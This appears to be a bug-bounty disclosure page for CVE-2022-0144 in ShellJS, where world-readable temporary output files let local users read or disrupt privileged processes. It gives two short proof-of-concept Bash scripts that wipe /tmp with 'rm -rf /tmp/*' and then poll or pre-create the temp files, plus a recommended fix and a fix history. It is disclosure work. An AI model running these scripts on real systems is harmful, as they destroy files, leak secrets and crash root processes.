Improper Privilege Management in shelljs/shelljs

0

Valid Reported on Dec 26th 2021

Details

If ShellJS scripts running locally are using ShellJS exec function, local users on the filesystem can read the stdout of the running ShellJS process to disclose sensitive information present in the privileged process. This may leak sensitive information present in the privileged process which may be abused to perform local privilege escalation. Local users can also crash ShellJS scripts running as root via creating a stdout file and triggering an EACCESS error.

Proof of Concept 1 (Leak sensitive information from privileged process [Read stdout])

The paramFiles, stdout and stderr files created will have the following permissions

```
-rw-r--r--  1 root root 3135 Dec 16 23:08 shelljs_81cdfe4bdfc9d93323a4
-rw-r--r--  1 root root  832 Dec 16 23:08 shelljs_a99c412389ba1efa8807
-rw-r--r--  1 root root    0 Dec 16 23:08 shelljs_f83a2c65d1ff46ca11a0
```

When these files are created it is possible for other users to access them using a Bash script.
1: So for instance, if root user / cronjob / privileged ShellJS process used shell.exec to generate a secret key (example scenario)

```
// poc.js
var shell = require('shelljs');
var secret = shell.exec("openssl rand -base64 32").stdout;
```

2: Then it would be possible to obtain the secret by using the following Bash script to obtain the secret from the poc.js as a lower privileged user.
Run this Bash command, then execute the poc.js. (Note this deletes all files and folders in /tmp directory in order to see the output more clearly)

```
rm -rf /tmp/*
while true; do cat /tmp/*; done
```

This could be abused in other scenarios to obtain sensitive information such as passwords depending on what command is bein executed in shell.exec()

Proof of Concept 2 (Crash privileged ShellJS processes)

As a lower-privileged user, you can crash ShellJS processes by using the following Bash script which creates a stdoutFile before a stdoutFile is even created and run it. When executing execSync on the NodeJS file, the file exits and causes an EACCESS error. Note: This exploit script clears the /tmp directory before executing to identify the paramFile when created
1: Execute the Bash script

```
rm -rf /tmp/*
while [ -z "$paramFile" ];
do
  paramFile=$(ls /tmp);
done;
stdoutFile=$(cat $paramFile | jq ".stdoutFile" | tr -d '"');
touch $stdoutFile;
```

2: Run the poc.js previously

Impact:

When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the stdout of the privileged ShellJS process OR shutdown privileged ShellJS processes via the exec function present in ShellJS

Recommended Fix:

The stdout, stderr and the paramFiles created when executing execSync should only have read and write privileges available for the current process. This can be done via paramFile, stderr and stdout file precreation and locking them before any write operation is done. This would solve both issues listed above

Occurrences

JS exec.js L36L38

File precreation and locking can be done here

CVE
CVE-2022-0144
(Published)

Vulnerability Type
CWE-269: Improper Privilege Management

Severity
High (7.1)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

Fixed by

Nate Fischer
@nfischer
maintainer

This report was seen 1,479 times.

We are processing your report and will contact the **shelljs** team within 24 hours. a year ago

haxatron a year ago Researcher

To maintainer:

To prevent poc1.stdout and stderr files can be prepared first with chmod 500 privileges when

Chat with us

To prevent poc 1, stdout and stderr files can be prepared first with chmod 500 privileges, when the execFileSync is executed, the writeStream in execFileSync can proceed because the ShellJS script owner is now the same as stdout / stderr owner. as such, the stdout and stderr files will be properly restricted.

I may be able to produce a fix for this, let me know if you feel like going ahead with this

haxatron a year ago Researcher

Correction: chmod 700 (rwx------)

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

haxatron modified the report a year ago

Nate Fischer validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Nate Fischer marked this as fixed in **0.8.5** with commit **d919d2** a year ago

Nate Fischer has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

exec.js#L36L38 has been validated ✔

Sign in to join this conversation